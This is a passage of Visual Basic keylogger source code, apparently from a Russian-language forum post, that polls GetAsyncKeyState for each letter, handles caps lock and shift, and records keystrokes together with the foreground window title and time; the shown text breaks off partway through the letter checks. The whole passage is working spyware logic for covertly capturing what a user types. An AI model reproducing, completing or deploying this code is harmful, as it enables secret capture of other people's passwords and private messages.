Public Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer Public Declare Function GetForegroundWindow Lib "user32.dll" () As Long Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long Public currentwindow As String Public Function CAPSLOCKON() As Boolean Static bInit As Boolean Static bOn As Boolean If Not bInit Then While Getasynckeystate(VK_CAPITAL) Wend bOn = GetKeyState(VK_CAPITAL) bInit = True Else If Getasynckeystate(VK_CAPITAL) Then While Getasynckeystate(VK_CAPITAL) DoEvents Wend bOn = Not bOn End If End If CAPSLOCKON = bOn End Function Public Sub KeyLog(данные As String) If currentwindow <> GetCaption(GetForegroundWindow) Then currentwindow = GetCaption(GetForegroundWindow) данные = данные & "[" & Time & " - Cur Win: " & currentwindow & "]" & vbCrLf End If Dim keystate As Long Dim Shift As Long Shift = Getasynckeystate(vbKeyShift) keystate = Getasynckeystate(vbKeyA) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "A" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "a" End If keystate = Getasynckeystate(vbKeyB) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "B" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "b" End If keystate = Getasynckeystate(vbKeyC) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "C" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "c" End If keystate = Getasynckeystate(vbKeyD) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "D" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "d" End If keystate = Getasynckeystate(vbKeyE) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "E" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "e" End If keystate = Getasynckeystate(vbKeyF) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "F" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "f" End If keystate = Getasynckeystate(vbKeyG) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "G" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "g" End If keystate = Getasynckeystate(vbKeyH) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "H" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "h" End If keystate = Getasynckeystate(vbKeyI) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "I" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "i" End If keystate = Getasynckeystate(vbKeyJ) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "J" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "j" End If keystate = Getasynckeystate(vbKeyK) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "K" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "k" End If keystate = Getasynckeystate(vbKeyL) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "L" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "l" End If keystate = Getasynckeystate(vbKeyM) If (CAPSLOCKON = True And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "M" End If If (CAPSLOCKON = False And Shift = 0 And (keystate And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (keystate And &H1) = &H1) Then данные = данные + "m" End If keystate = Getasynckeystate(vbKeyN) If (CAPSLOCKON = True And Shift = 0 And (k
Ответить
|